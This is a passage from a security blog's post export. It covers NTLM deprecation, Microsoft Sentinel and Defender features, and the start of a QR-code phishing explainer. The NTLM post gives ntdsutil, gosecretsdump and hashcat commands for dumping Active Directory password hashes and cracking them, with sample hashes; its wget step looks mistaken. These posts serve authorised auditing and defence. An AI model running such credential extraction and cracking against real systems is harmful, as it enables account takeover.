with Kerberos and other modern authentication protocols. Sadly, I think this will take some time for organisations to move away from NTLM, but lets see. I’m happy that Microsoft deprecates NTLM, that’s a fact!\nWhat is password hash (NTLM) cracking in Active Directory? Active Directory, a service provided by Microsoft, is a directory service for Windows domain networks. It is involved in various tasks, including managing user data, security, and distributed resources, and enabling interoperation with other directories.\nPassword hash cracking in AD involves attackers trying to determine the plaintext value of a hashed password stored of objects in the AD database. Attackers often use techniques like brute force, dictionary attacks, or rainbow table attacks to crack these hashes.\nIn an AD environment, once attackers compromise a single machine, they can use the hashed passwords they’ve cracked to move laterally, potentially gaining access to many parts of the network (also towards Azure and Entra ID – most companies sync their AAD sync accounts and privileged users there too).\nStep 0 – How easy is it to crack NTLM hashes? Well, pretty easy. I though it would be nice to demonstrate why Microsoft deprecates NTLM and how easily you can brute-force or retrieve passwords from known hashes and password dumps with tools like hashcat.\nIt’s important to note that cracking hashes without authorization is illegal and unethical, and such activities should only be performed by professionals within the scope of their work and with proper permissions.\nFollow the steps below if this the case…\nStep 1 – Retrieving NTLM hashes from you Active Directory Retrieving hashes from Active Directory using ntdsutil is a sensitive operation. Again #2: it’s crucial to understand that only authorized personnel should perform this task due to the potential exposure of sensitive information.\nIf you’re planning to carry out extracting the hashes, do it manually first. I recommend going through these steps at least once to familiarize yourself with the configuration. Please ensure that you perform these steps from your Active Directory server:\nCreate a Snapshot of Active Directory Database Open a command prompt as an Administrator. Type ntdsutil and press Enter. At the ntdsutil prompt, type snapshot and press Enter. At the snapshot prompt, type activate instance ntds and press Enter. Then type create and press Enter. This will create a snapshot of the Active Directory database. Type quit twice to exit ntdsutil. Mount the Snapshot Again, open ntdsutil in a command prompt as an Administrator. Type snapshot and press Enter. At the snapshot prompt, type list all and press Enter. This will list all snapshots. Find the snapshot you just created, and type mount {GUID}, replacing {GUID} with the GUID of the snapshot. Note the directory where the snapshot is mounted. Type quit twice to exit ntdsutil. For the next time, you can also use ntdsutil from the commandline, with a small snippet and you can skip the manual steps:\nntdsutil \u0026#34;ac i ntds\u0026#34; \u0026#34;ifm\u0026#34; \u0026#34;create full c:\\temp-folder-for-your-ntds-backup\u0026#34; quit quit Step 2 – Extracting NTLM hashes The subsequent step involves extracting the hashes (formatted as domain\\uid:rid:lmhash:nthash) from the files you’ve generated with ntdsutil. There are several tools and scripts available for this purpose. The most frequently used is the secretsdump.py script from the Impacket Python library, which comes pre-installed on Kali Linux.\nFor additional details, you can visit the following page: Impacket GitHub page\nIf you’ve previously used secretsdump.py, you might have noticed that it can be quite time-consuming. That’s why I prefer using gosecretsdump these days. It’s a highly efficient and reliable fork of Impacket, written in Golang, and is approximately ten times faster.\nBefore proceeding, ensure that you have a Linux (Ubuntu) or Kali Linux machine. Then, follow these steps:\nBashwget https://github.com/C-Sto/gosecretsdump.git cd gosecretsdump go run main.go -ntds /home/username/Extracted/ntds.dit -system /home/username/Extracted/SYSTEM -out /home/username/export.txt Make sure you choose the correct paths for your extracted ntdis.dit, SYSTEM and export file (for the hashes). Gosecretsdump contains several commands you can use, refer to this:\nhttps://github.com/c-sto/gosecretsdump\nWhen you open the export file, you probably see an export of each user account or object in your Active Directory in this format:\nXML\u0026lt;Username\u0026gt;:\u0026lt;User ID\u0026gt;:\u0026lt;LM hash\u0026gt;:\u0026lt;NT hash\u0026gt;:\u0026lt;Comment\u0026gt;:\u0026lt;Home Dir\u0026gt;: The LM hash should be the same (aad3b435b51404eeaad3b435b51404ee), but the NT hash is the information you need to crack/reveal the AD password(s):\nwoodgrovedemo.nl\\user1:1314:aad3b435b51404eeaad3b435b51404ee:8397b997d63ceaac54bfb668c1df408e::: woodgrovedemo.nl\\user2:1316:aad3b435b51404eeaad3b435b51404ee:0b446183b62698a4c8244c4fd05f8e5b::: woodgrovedemo.nl\\user3:1317:aad3b435b51404eeaad3b435b51404ee:a0a185fb6c4af7572c8c3a9b22f65bd1::: woodgrovedemo.nl\\user4:1318:aad3b435b51404eeaad3b435b51404ee:51d296acab46bda7be7b9cc4e0a76ad9::: woodgrovedemo.nl\\user5:1319:aad3b435b51404eeaad3b435b51404ee:d8cf73482d2881cfa2527af973dcfc99::: woodgrovedemo.nl\\user6:1320:aad3b435b51404eeaad3b435b51404ee:767d34df5630f36a37b2c10aa1db26ab::: woodgrovedemo.nl\\user7:1321:aad3b435b51404eeaad3b435b51404ee:e5d11b40eee8683f4b5b06b0019a369f::: woodgrovedemo.nl\\user7:1322:aad3b435b51404eeaad3b435b51404ee:271551af8082f23ce2231fe3183aa603::: Step 3 – Using Hashcat Hashcat is a versatile, open-source password cracking tool used extensively in cybersecurity and information security. It’s designed to recover passwords from various cryptographic algorithms and hash types through brute-force, dictionary, and hybrid attacks etc. Essentially, it systematically tries all possible password combinations until it discovers the correct one.\nIn my example, I will be using a wordlist (dictionary), to test them against the NTLM hashes in my dump. I could also try to recover passwords by rainbow tables or by brute-forcing them, but that strongly depends on the algorithm, the VM used, GPU etc. You’ll have to decide the goal and the solution you want to use.\nThe ultimate goal is to retrieve all the passwords, but that might take a while. On the bright side the cracking speed will be shorter every year:\nSource: Google (these numbers might not be up-to-date but this is just as an example 🙂 )\nIf you want to go for the easy way; where do you get the wordlists from? There are plenty of websites offering VERY good lists, with weak passes. Check out https://weakpass.com/ – they have 300GB+ of all-in-one lists and those are great. In my example I crafted a list of passwords for myself, with only Dutch passwords and saved it in a .txt format.\nNow we are going to use Hashcat, you can also use John the Ripper or any other tool. But I’m using Hashcat the most, I think it’s very effective and has plenty of options (also for other hashing algorithms). Refer to their Wiki if you want to learn more about the options: https://hashcat.net/wiki/doku.php?id=example_hashes.\nOn my Kali Linux machine (forgot to mention I’m using an F-type machine on Azure) I can start cracking the hashes by the following command (make sure to use the export.txt file with hashes and after that the list of passwords):\nhashcat -a 0 -m 1000 export.txt dutch_passwordlist.txt After some time, you’ll get the results from Hashcat (yet again it depends on the quality of the wordlist, the VM, GPU, how many hashes to scan etc.). But here you go, easy as that:\nAre there any other flaws in NTLM which make it weak? Regardless of the hash cracking part, the reason Microsoft deprecates NTLM is also because NTLM has some other flaws:\nLack of mutual authentication: NTLM lacks mutual authentication. While the client verifies its identity to the server, the reverse is not true. This one-way authentication process can be exploited by attackers. Outdated hashing and encryption algorithms: NTLM uses outdated hashing and encryption algorithms, which are more susceptible to cryptographic attacks compared to modern standards. These vulnerabilities can compromise the security of user credentials. Challenge-response mechanism: NTLM relies on a challenge-response mechanism using hashed versions of user passwords. This approach has inherent weaknesses, including the possibility of pass-the-hash attacks. Downgrade attacks: Attackers can manipulate NTLM to downgrade security features, potentially leading to full domain compromise. So Kerberos cannot be cracked? Regarding the possibility of Kerberos being cracked, while Kerberos is considered one of the most secure authentication protocols, no system is entirely invulnerable. There are known attacks such as Kerberoasting, Pass-the-Ticket, and Golden Ticket attacks that can exploit certain weaknesses in Kerberos.\nHowever, these attacks require a significant level of access or knowledge about the network and are not as straightforward as cracking NTLM hashes. By following the security measures mentioned below, the risk of such attacks can be greatly reduced:\nStrong password policies: Implement strong password policies to make it difficult for attackers to crack passwords associated with Kerberos tickets (YES so either way make sure always to use strong passwords/complexity/lenght). Regularly update and patch: Keep your systems updated with the latest security patches to protect against known vulnerabilities. Service Principal Name (SPN) Management: Properly manage SPNs to prevent Kerberoasting, which involves service accounts. Monitor and Audit: Regularly monitor and audit Kerberos authentication for any unusual activities that could indicate an attack. Disable unused accounts: Disable or remove unused accounts and services that might be targeted in Kerberos attacks. Educate users: Train users on security best practices to prevent social engineering attacks that could compromise Kerberos authentication. Use advanced encryption: Employ strong encryption methods like AES for encrypting Kerberos tickets to enhance security. Limit privileges: Apply the principle of least privilege to minimize the potential impact of a compromised account (I recommend tiering, tiering and tiering). Tooling: Use tooling like Bloodhound, Rubeus, MimiKatz etc. to identify risks in your own environment (or even break them) and look if you’re vulnerable. Entra ID: Don’t forget to test/assess your Entra ID too (Dirkjanm created some great tools like ROADtools and Bloodhound-Azure-AD) Also check out my newest blog on hardening Active Directory here: https://www.modernsecurity.nl/detecting-and-mitigating-active-directory-compromises-a-comprehensive-guide/\nConclusion While Microsoft deprecates NTLM is a positive step toward enhanced security, it’s essential to recognize that Active Directory remains a critical component for many organizations. Legacy systems and dependencies necessitate its continued use. Our focus should shift toward securing Active Directory effectively. By implementing best practices, regular audits, and robust access controls, we can mitigate risks and ensure a safer environment for user authentication and authorization.\n","date":"6 June 2024","externalUrl":null,"permalink":"/microsoft-deprecates-ntlm/","section":"All articles","summary":"","title":"Microsoft deprecates NTLM and why this is an important step","type":"posts"},{"content":"Microsoft Sentinel is a next-generation cloud-native Security Information and Event Management (SIEM) solution, enriched by AI and threat intelligence. It delivers end-to-end protection across the multicloud, multiplatform digital estate. With industry-leading innovations focused on SOC productivity, efficient threat investigations, and cost optimizations, Microsoft Sentinel empowers defenders to stay ahead of threats in a simplified, scalable, and accelerated manner.\nOne of the key features of Microsoft Sentinel is the SOC Optimization capability, which is now in Public Preview. This feature makes it easier for security teams to effectively customize and manage their SIEM for specific business and security requirements. Which is great, as it gives you guidance on building coverage (use cases) for specific threats, MITRE ATT\u0026amp;CK techniques and optimizing it.\nWhat means SOC Optimization? SOC Optimization provides dynamic, actionable, research-backed recommendations to optimize data usage, costs, and security coverage against relevant threats. These recommendations are tailored to your organization and update every day, enabling you to confidently understand your security coverage and immediately discover content best suited for your security needs.\nThe recommendations are threat-based and backed by Microsoft research, helping identify rules or data sources needed to improve security coverage against various types of attacks. They also provide visibility into your data usage patterns and actionable recommendations for out-of-the-box detections, so you can gain immediate security value from ingested data and improve threat protection.\nCapabilities of SOC Optimization SOC Optimization is designed to empower security teams with precision-driven management capabilities. Here are some of its use cases:\nTailored recommendations: SOC Optimization offers tailored recommendations unique to your organization that update every day. This enables you to confidently understand your security coverage and immediately discover content best suited for your security needs. Threat-based recommendations: These are backed by Microsoft research to help identify rules or data sources needed to improve security coverage against various types of attacks. Data usage patterns: SOC Optimization provides insights into your data usage patterns and actionable recommendations for out-of-the-box detections. This allows you to gain immediate security value from ingested data and improve threat protection. Cost optimization: It provides insights into ingested data that are not being utilized for detection or investigation with recommendations on how to save money. SOC Optimizations Overview Choose SOC Optimization (from the Azure Portal \u0026amp; Sentinel), or choose from the Unified Security Operations Center (in the Security Portal).\nPS I prefer the Azure Portal due my daily habits, but the Unified Security Operations Center is more slick and smooth ^^\nMoving on… from here you can find an impressive overview of the types of optimizations, either the Data value optimizations or the Threat-based optimization.\nIf you want an overview of the possible threat scenario’s, click on the following link:\nYou’ll get a nice list of current scenario’s, also with numbers of active detections you’ve already setup/configured, the amount of possible (recommended) detections and the coverage you’ve achieved:\nIf you continue opening the scenario’s, you can see a spidergraph, with the “to improve” coverage, but also actions to take, and relations to the MITRE ATT\u0026amp;CK framework:\nClicking further on the Content Hub, SOC Optimization shows you which analytics could possible be installed (depends on the use case and situation – but you can use this as guidance)\nI recommend you go through all the scenario’s step-by-step, to verify the coverage and the steps to take hardening you environment. Also the same goes for the Data value optimizations (they’re important as well).\nVerify all the taken actions (whether automatically or manually) from the completed tab:\nSOC optimization reference of recommendations Use SOC optimization recommendations to help you close coverage gaps against specific threats and tighten your ingestion rates against data that doesn’t provide security value. SOC optimizations help you optimize your Microsoft Sentinel workspace, without having your SOC teams spend time on manual analysis and research.\nMicrosoft Sentinel SOC optimizations include the following types of recommendations:\nThreat-based optimizations recommend adding security controls that help you close coverage gaps. Data value optimizations recommend ways to improve your data use, such as a better data plan for your organization. Data value optimizations To optimize your cost to security value ratio, SOC optimization surfaces hardly used data connectors or tables, and suggests ways to either reduce the cost of a table or improve its value, depending on your coverage.\nThis type of optimization is also called data value optimization. Data value optimizations only look at billable tables that ingested data in the past 30 days.\nThe following table lists the available data value SOC optimization recommendations:\nObservationActionThe table wasn’t used by analytic rules or detections in the last 30 days but was used by other sources, such as workbooks, log queries, hunting queries.Turn on analytics rule templatesORMove to basic logs if the table is eligibleThe table wasn’t used at all in the last 30 daysTurn on analytics rule templatesORStop data ingestion or archive the tableThe table was only used by Azure MonitorTurn on any relevant analytics rule templates for tables with security valueORMove to a nonsecurity Log Analytics workspace Threat-based optimization To optimize data value, SOC optimization recommends adding security controls to your environment in the form of extra detections and data sources, using a threat-based approach.\nTo provide threat-based recommendations, SOC optimization looks at your ingested logs and enabled analytics rules, and compares it to the logs and detections that are required to protect, detect, and respond to specific types of attacks.\nThis optimization type is also known as coverage optimization, and is based on Microsoft’s security research. The following table lists the available threat-based SOC optimization recommendations:\nObservation Action There are data sources, but detections are missing. Turn on analytics rule templates based on the threat. Templates are turned on, but data sources are missing. Connect new data sources. There are no existing detections or data sources. Connect detections and data sources or install a solution. Sources https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/soc-optimization-unlock-the-power-of-precision-driven-security/ba-p/4130589\nhttps://learn.microsoft.com/en-us/azure/sentinel/soc-optimization/soc-optimization-reference\nConclusion In conclusion, SOC Optimization in Microsoft Sentinel is a powerful tool that helps organizations optimize their security operations, improve threat protection, and reduce costs. It’s a game-changer in the world of cybersecurity, providing organizations with the tools they need to stay one step ahead of threats.\n","date":"7 May 2024","externalUrl":null,"permalink":"/soc-optimization-in-microsoft-sentinel/","section":"All articles","summary":"","title":"SOC Optimization in Microsoft Sentinel","type":"posts"},{"content":" Introduction of Unified Security Operations Platform In today’s complex threat landscape, security teams face an uphill battle. They grapple with vast amounts of data from various sources, leading to slower threat response, increased learning curves, and fragmented insights. Managing the costs associated with data handling remains a significant challenge.\nEnter Microsoft’s Unified Security Operations Platform, a game-changer that consolidates essential tools into a single, effective solution powered by AI and automation. Let’s dive into what this platform offers (since today in public preview), how it works, and the benefits it brings to security operations.\nHave been in the private preview and to be honest I really loved the feature \u0026lt;3.\nWhat is the Unified Security Operations Platform? The Unified Security Operations Platform combines and integrates the best of two powerful Microsoft solutions: Microsoft Defender XDR(formerly Microsoft 365 Defender) and Microsoft Sentinel.\nIf you need to refresh your memory, here’s what Microsoft Defender XDR and Microsoft Sentinel do:\nMicrosoft Defender XDR: Provides unified visibility, investigation, and response across endpoints, hybrid identities, emails, collaboration tools, cloud apps, and workloads. Natively integrated with bidirectional connectors for comprehensive threat coverage. Microsoft Sentinel: A cloud-native SIEM solution offering unparalleled visibility into the overall threat landscape. Extends coverage to every edge and layer of the digital environment. The challenge (and solution) In the dynamic landscape of cybersecurity, Security Operations Centers (SOCs) grapple with an overwhelming influx of alerts and security data scattered across various locations (we faced this a lot). Analysts and engineers find themselves navigating complex workflows, sifting through low-level alerts, and struggling to consolidate, normalize, analyze, enrich, and act on insights across different environments of customers.\nHere’s why the new Unified Security Operations Platform is a real game-changer:\nUnified views: Analysts access incidents, exposure, threat intelligence, assets, and security reporting from a single pane of glass. No more switching between portals, streamlined workflows enhance efficiency. Comprehensive capabilities: Cover the entire cyberattack lifecycle: from prevention to detection, investigation, and response. Unify SIEM and XDR for robust security operations. Attack Disruption with AI: The platform leverages AI to automatically disrupt advanced attacks like ransomware. Predictive analytics and automated responses stop attacks in near real-time. Unified incident queue: Reduce investigation time with a single incident queue. Improved alert correlation accelerates triage and response. Intelligent assistant: Copilot for Security (optional): Analysts benefit from incident summaries, MITRE framework mapping, code translation, and multistage attack remediation. Copilot for Security streamlines workflows and provides relevant recommendations. Licensing requirements To benefit from the Unified Security Operations Platform, ensure you have:\nA single Microsoft Sentinel workspace. At least one Defender XDR workload deployed. Permissions needed TaskAzure built-in role requiredScopeConnect or disconnect a workspace with Microsoft Sentinel enabledOwner orUser Access Administrator and Microsoft Sentinel Contributor– Subscription for Owner or User Access Administrator roles– Subscription, resource group, or workspace resource for Microsoft Sentinel ContributorQuery Sentinel data tables or view incidentsMicrosoft Sentinel Reader or a role with the following actions:– Microsoft.OperationalInsights/workspaces/read– Microsoft.OperationalInsights/workspaces/query/read– Microsoft.SecurityInsights/Incidents/read– Microsoft.SecurityInsights/incidents/comments/read– Microsoft.SecurityInsights/incidents/relations/read– Microsoft.SecurityInsights/incidents/tasks/readSubscription, resource group, or workspace resourceTake investigative actions on incidentsMicrosoft Sentinel Contributor or a role with the following actions:– Microsoft.OperationalInsights/workspaces/read– Microsoft.OperationalInsights/workspaces/query/read– Microsoft.SecurityInsights/incidents/read– Microsoft.SecurityInsights/incidents/write– Microsoft.SecurityInsights/incidents/comments/read– Microsoft.SecurityInsights/incidents/comments/write– Microsoft.SecurityInsights/incidents/relations/read– Microsoft.SecurityInsights/incidents/relations/write– Microsoft.SecurityInsights/incidents/tasks/read– Microsoft.SecurityInsights/incidents/tasks/writeSubscription, resource group, or workspace resourceCreate a support requestOwner orContributor orSupport request contributor or a custom role with Microsoft.Support/*Subscription Connecting your workspace Go to the Microsoft Defender portal (security.microsoft.com) and sign in.\nSelect Overview in Microsoft Defender XDR.\nChoose the workspace you want to connect and follow the prompt:\n(takes a few minutes – depends if you already have MS Sentinel up- and running – otherwise set that up first 😉 )\nThese changes have been pushed, when you completed the connection within Unified Security Operations Platform :\nLog tables, queries, and functions in the Microsoft Sentinel workspace are also available in advanced hunting within Defender XDR. The Microsoft Sentinel Contributor role is assigned to the Microsoft Threat Protection and WindowsDefenderATP apps within the subscription. Active Microsoft security incident creation rules are deactivated to avoid duplicate incidents. This change only applies to incident creation rules for Microsoft alerts and not to other analytics rules. All alerts related to Defender XDR products are streamed directly from the main Defender XDR data connector to ensure consistency (enable the connector for Microsoft Defender XDR in Sentinel) Benefits of using the Unified Platform After you connect your workspace to the Defender portal, Microsoft Sentinel is on the left-hand side navigation pane. Pages like Overview, Incidents, and Advanced Hunting have unified data from Microsoft Sentinel and Defender XDR.\nUse the following articles to help you start working with Microsoft Sentinel in the Defender portal. When using these articles, keep in mind that your starting point in this context is the Defender XDR portal instead of the Azure portal.:\nSearch\nSearch across long time spans in large datasets Restore archived logs from search Threat management\nVisualize and monitor your data by using workbooks Conduct end-to-end threat hunting with Hunts Use hunting bookmarks for data investigations Use hunting Livestream in Microsoft Sentinel to detect threat Hunt for security threats with Jupyter notebooks Add indicators in bulk to Microsoft Sentinel threat intelligence from a CSV or JSON file Work with threat indicators in Microsoft Sentinel Understand security coverage by the MITRE ATT\u0026amp;CK framework Content management\nDiscover and manage Microsoft Sentinel out-of-the-box content Microsoft Sentinel content hub catalog Deploy custom content from your repository Configuration\nFind your Microsoft Sentinel data connector Create custom analytics rules to detect threats Work with near-real-time (NRT) detection analytics rules in Microsoft Sentinel Create watchlists Manage watchlists in Microsoft Sentinel Create automation rules Create and customize Microsoft Sentinel playbooks from content templates Sources Need extra information? Check out the Documentation pages from Microsoft regarding Unified Security Operations Platform:\nhttps://learn.microsoft.com/en-us/azure/sentinel/microsoft-sentinel-defender-portal#new-and-improved-capabilities\nhttps://learn.microsoft.com/en-us/microsoft-365/security/defender/microsoft-sentinel-onboard?view=o365-worldwide\nConclusion The Unified Security Operations Platform empowers defenders to prevent, detect, investigate, and respond effectively. As said above, I really love this feature. Although it’s in public preview now, I might add extra insights to my blog post later on, with handy tips, experience and information.\nFor the time being, play around with Unified Security Operations Platform to get your hands on the comprehensive view and the automated threat neutralization technology. Now your security specialists can address threats with unmatched speed and efficiency.\n","date":"4 April 2024","externalUrl":null,"permalink":"/microsoft-unified-security-operations-platform/","section":"All articles","summary":"","title":"Microsoft Unified Security Operations Platform","type":"posts"},{"content":" Introduction and history Microsoft unveiled its Microsoft Security Exposure Management on March 13, 2024. The solution was developed in response to increasing concerns about various types of exposures, such as software vulnerabilities, misconfigured controls, excessive access privileges, and emerging threats that could lead to the exposure of sensitive data.\nThe conventional method of vulnerability management was proving inadequate due to its narrow scope. In the past, organizations concentrated on protecting what they were aware of – they searched for Common Vulnerabilities and Exposures (CVEs) across their endpoints, servers, and infrastructure. Although this was a step in the right direction, it didn’t provide a comprehensive view of the digital estate, lacked context, and treated all resources as if they were of equal importance.\nGiven that an average organization uses around 80 different security tools, it was highly probable that numerous tools related to security posture were in use, each overseeing a limited area of the environment. The data and insights from these tools related to security posture were often isolated or, at best, loosely connected, making it challenging to make sense of threats and their potential impact on critical assets.\nAs a result, Microsoft spearheaded the next phase of attack surface management, enabling organizations to proactively enhance their posture and minimize their exposure more quickly than attackers could exploit them. This revolutionary solution brings together disparate data silos, providing security teams with complete visibility across all assets. By facilitating a comprehensive evaluation of security posture and exposure, this solution enables teams to not only understand their current security landscape but also to improve it significantly.\nMust say I love Microsoft Security Exposure Management \u0026lt;3\nUse cases and features of Microsoft Security Exposure Management Comprehensive Security Posture View: It consolidates various data sources, offering security teams a complete visibility of their organization’s security posture. This allows them to comprehend and enhance their security posture and manage exposure across devices, identities, applications, data, and multicloud infrastructure. Ongoing Threat Exposure Management (CTEM): It enables organizations to establish a robust exposure management program with a continuous threat exposure management process. Risk Mitigation: It aids in reducing risk by providing a transparent view of every asset and real-time evaluation of potential exposures from both internal and external sources. Identification and Protection of Crucial Assets: It allows organizations to detect and categorize critical assets, ensuring they are safeguarded against a broad range of threats. Discovery of Adversary Intrusion Paths: It enables organizations to uncover and visualize potential adversary intrusion paths, including lateral movement, to proactively identify and halt attacker activity. Exposure Risk Communication: It assists in conveying exposure risk to business leaders and stakeholders with clear KPIs and actionable insights. Integration with External Data Sources and Tools: It improves exposure analysis and remediation by integrating with third-party data sources and tools. Management of Attack Surface: It offers a comprehensive view of the entire attack surface, enabling the exploration of assets and their relationships. Integrations Microsoft Security Exposure Management integrates data across various technologies to provide a comprehensive view of an organization’s security posture.\nHere are some of the technologies Microsoft Security Exposure Management integrates with:\nVulnerability Management (VRM): Microsoft Defender Vulnerability Management (MDVM), Qualys Vulnerability Management (Preview), Rapid7 Vulnerability Management (Preview). External Attack Surface Management (EASM): Microsoft Defender External Attack Surface Management Cloud Security (CSPM): Microsoft Defender Cloud Security Posture Management (CSPM) Endpoint Security (Device Security Posture): Microsoft Defender for Endpoint (MDE) Identity Security (ISPM): Microsoft Defender for Identity (MDI), Microsoft Entra ID (Free, P1, P2). SaaS Security Posture (SSPM): Microsoft Defender for Cloud Apps (MDA) including connectors to SaaS applications Email Security: Microsoft Defender for Office (MDO) OT/IOT Security: Microsoft Defender for IOT These integrations help in enriching the security context, managing attack surfaces, protecting critical assets, and exploring and mitigating exposure risk.\nPermissions for Security Exposure Management tasks For full access, users need one of the following Microsoft Entra ID roles to manage Security Exposure Management:\nGlobal Admin (read and write permissions) Global Reader (read permissions) Security Admin (read and write permissions) Security Operator (read and limited write permissions) Security Reader (read permissions) Permission levels are summarized in the table:\nAction Global Admin Global Reader Security Admin Security Operator Security Reader Grant permissions to others ✔ – – – – Onboard your organization to the Microsoft Defender External Attack Surface Management (EASM) initiative ✔ ✔ ✔ ✔ ✔ Mark initiative as a favorite ✔ ✔ ✔ ✔ ✔ Set initiative target score ✔ – – – – View general initiatives ✔ ✔ ✔ ✔ ✔ Share metric/Recommendations ✔ ✔ ✔ ✔ ✔ Edit metric weight ✔ – – – – Export metric (PDF) ✔ ✔ ✔ ✔ ✔ View metrics ✔ ✔ ✔ ✔ ✔ Export assets (metric/recommendation) ✔ ✔ ✔ ✔ ✔ Manage recommendations ✔ – ✔ – – View recommendations ✔ ✔ ✔ ✔ ✔ Export events ✔ ✔ ✔ ✔ ✔ Change criticality level ✔ ✔ ✔ ✔ ✔ Start with the overview The Microsoft Security Exposure Management \u0026gt; Overview dashboard allows you to assess the comprehensive status of your organization’s security exposure.\nConsider the dashboard as an initial reference for a quick overview of your organization’s security stance and exposure, and delve into specifics as required.\nMapping and identifying critical assets The next step you should focus on is pinpointing critical assets. With Microsoft Security Exposure Management, you have the ability to designate and oversee resources as critical assets.\nIdentifying critical assets helps ensure that the most important assets in your organization are protected against risk of data breaches and operational disruptions. Critical asset identification contributes to availability and business continuity. You can prioritize security investigations, posture recommendations, and remediation steps to focus on critical assets first. Microsoft Defender XDR has a option to review all the assets that have been discovered automatically, go to: Microsoft Defender portal, select Settings \u0026gt; Microsoft XDR \u0026gt; Rules \u0026gt; Critical asset management.\nOn the Critical asset management page, review predefined and custom critical asset classifications, including the number of assets in the classification, whether assets are on or off, and criticality levels.\nUsing the Attack Paths Microsoft Security Exposure Management’s attack paths assist you in actively pinpointing and illustrating potential avenues that attackers could leverage by exploiting vulnerabilities, gaps, and misconfigurations. The simulation of attack paths empowers you to proactively explore and mitigate potential risks.\nTo access attack paths, select Attack surface \u0026gt; Attack path.\nOpen one of the entry points, to get an overview (graph) map of a possible attack path:\nAfter clicking view in map you see all the related users/machines/groups/other infrastructure, also with their connections/authentications (paths) involved:\nManage Exposure Insights Exposure insights offer a detailed perspective on the status of your asset inventory’s security posture.\nChief Information Security Officers (CISOs), decision-makers, risk owners, and security teams can leverage these security insights and context to manage exposure risk throughout the organization and prioritize security endeavors and investments.\nExposure insights encompass security events, recommendations, metrics, and initiatives. These elements interconnect to provide a detailed context around the state of security posture.\nThe insights empower you to:\nDecompose the organizational security posture into prioritized initiatives. Gauge and monitor the exposure of crucial security elements within these initiatives. Prioritize security focus areas based on initiatives and metrics. Implement actionable remediation steps to enhance security posture and minimize risk. Monitor enhancements in security initiatives to track the reduction of security risk. Review security initiatives Security initiatives streamline the management of security posture and assist in evaluating readiness and maturity in distinct areas of security risk.\nPredefined initiatives are provided by Microsoft Security Exposure Management. Each of these predefined initiatives encompasses one or more security metrics pertinent to that initiative.\nInitiatives can be associated with specific workload domains, assessing a particular area such as endpoint, identity, and cloud security. They might aid in threat analysis by addressing a specific threat across various categories, such as ransomware protection or critical asset protection. Initiatives can also concentrate on specific compliance standards.\nYou have the option to prioritize which initiatives to display on the Overview dashboard. The score of the initiative mirrors the exposure status of the initiative. You can delve into initiatives to view their related metrics and identify where gaps or risks lie. The score and recommendations of the initiative are derived from the metrics within the initiative.\nFrom the Exposure management section on the navigation bar, select Exposure insights -\u0026gt; Initiatives to open the initiatives page.\nReview security metrics Metrics group together recommendations for similar assets, and measure security exposure around those assets, from very high exposure to no exposure identified.\nFor example:\nPercent of macOS endpoints missing an endpoint security solution agent Percent of cloud resources with critical vulnerabilities Each metric shows:\nThe percentage of assets affected, the relative importance of the metric, and the effect that the metric has on an initiative. It also shows the weight, or importance, of the metric and its effect on the initiative score as a number. One is the lowest and 10 the highest. Metric weight can be customized to have greater or lesser effect, based on your organizational business priorities. Editing metric weight value affects the metric and all related initiatives. In the Microsoft Defender portal, select Exposure management \u0026gt; Exposure insights \u0026gt; Metrics to open the Metrics page.\nSecurity Recommendations Assets and workloads are assessed against security measurements and standards, and security recommendations are issued based on those assessments.\nRecommendations provide practical steps to help you improve and remediate security posture and detected issues.\nIn Security Exposure Management, the recommendations catalog serves as a centralized repository for security recommendations.\nIn the Microsoft Defender portal, select Exposure management \u0026gt; Exposure insights \u0026gt; Recommendations to open the Recommendations page.\nFrom here you can open each recommendation, to see the remediation steps, the exposed entities and all the related metrics/initiatives as guidance to strengthen your posture.\nSecurity events Security events consolidate information about posture management changes that are detected. In response to changes, you can adjust accordingly to maintain a robust security posture.\nEvents measure the score drop or worsening in the metric status.\nMetric score drop events notify customers when there’s a new exposure measured by the security metrics. They’re evaluated based on the effect on the score and its weight. If there’s a decrease of at least 2% since yesterday, meaning exposure grew by 2%, the change is considered a score drop event. Initiative score drop events notify customers when security initiatives decrease. We assess Initiative score drop events based on how it affects the score. If there’s a decrease of at least 2% since yesterday, the change is classified as a score drop event. Security events present and track, both initiative and metric score drop incidents to determine how they affect the organization’s security posture. In the Microsoft Defender portal, select Exposure management -\u0026gt; Exposure insights -\u0026gt; Events to open the Events page. Select the time range you need in the calendar drop-down. To filter by initiative score drop events or metric score drop events, select filter or the score drop event quantity. Select a specific event to open it in Initiatives or Metrics. Last but not least…. Secure Score As you might have noticed the Secure Score section for Microsoft 365 has been relocated from the Home section to Exposure Management. Security Exposure Management uses Secure score as one of its sources for initiative scores.\nSecure score has “recommended actions” for a number of products. Selecting a recommendation to review allows you to remediate the problem in the specific product, including recommendations that derived from secure score. For recommendations where secure score is relevant, if secure score isn’t active, that recommendation doesn’t display. Great it has been placed there, as it is a more logical place within Security Exposure Management 🙂\n","date":"15 March 2024","externalUrl":null,"permalink":"/microsoft-security-exposure-management/","section":"All articles","summary":"","title":"Microsoft Security Exposure Management","type":"posts"},{"content":" Introduction As part of our SOC team, we’ve witnessed a significant surge in QR Code Phishing incidents over the past year. In this article, we’ll delve into the fundamentals of QR code phishing and provide actionable steps to safeguard against this growing threat. Notably, both offensive and defensive capabilities have evolved, including powerful tools like Evilginx (read my blogpost here) and Microsoft’s defensive solutions.\nSo back to the basics…\nHow does QR Code Phishing work? QR Codes present a unique challenge for security providers as they appear as an image during mail flow and are unreadable until rendered. Once the QR Code is rendered (what the human eye sees) it can then be scanned/processed for further analysis.\nQR codes are used in phishing attacks for mainly two reasons:\nThey move the attack away from well-protected corporate environments and onto the victim’s personally owned mobile device, which may be less secure; They leverage the most common credential theft vector which is the uniform resource locator (URL). A QR code can be easily manipulated to redirect unsuspecting victims to malicious websites or to download malware in exactly the same way as URLs, only by putting the URL in a more difficult-to-detect location. Steps in the process:\nDelivery: Attackers distribute QR codes via emails, social media, or physical means. Scanning: Unsuspecting users scan the QR codes, assuming they are legitimate. Redirection: The QR codes redirect users to malicious sites or prompt them to download malware. Data Theft: The goal is to steal sensitive information. A few examples below (source: Microsoft)\nQR Codes are embedded as inline images within email body\nIn the example below, the QR code is embedded inline within the body of the email, which when scanned redirects the user to a phishing website attempting to gather their credentials.\nQR Code within an image in the email body\nIn the example below, the QR code is placed inside an image embedded inline within the body of the email. QR Code as an image in an attachment\nIn the example below, the QR code is embedded inside an attachment that is a PDF, which when scanned redirects the user to a phishing website attempting to gather their credentials.\nVarious patterns of QR Code Phishing messages Within QR Code Phishing, multiple layers of tactics, techniques and procedures (TTPs) reveal various patterns seen by Microsoft. This includes but is not limited to:\nURL redirection 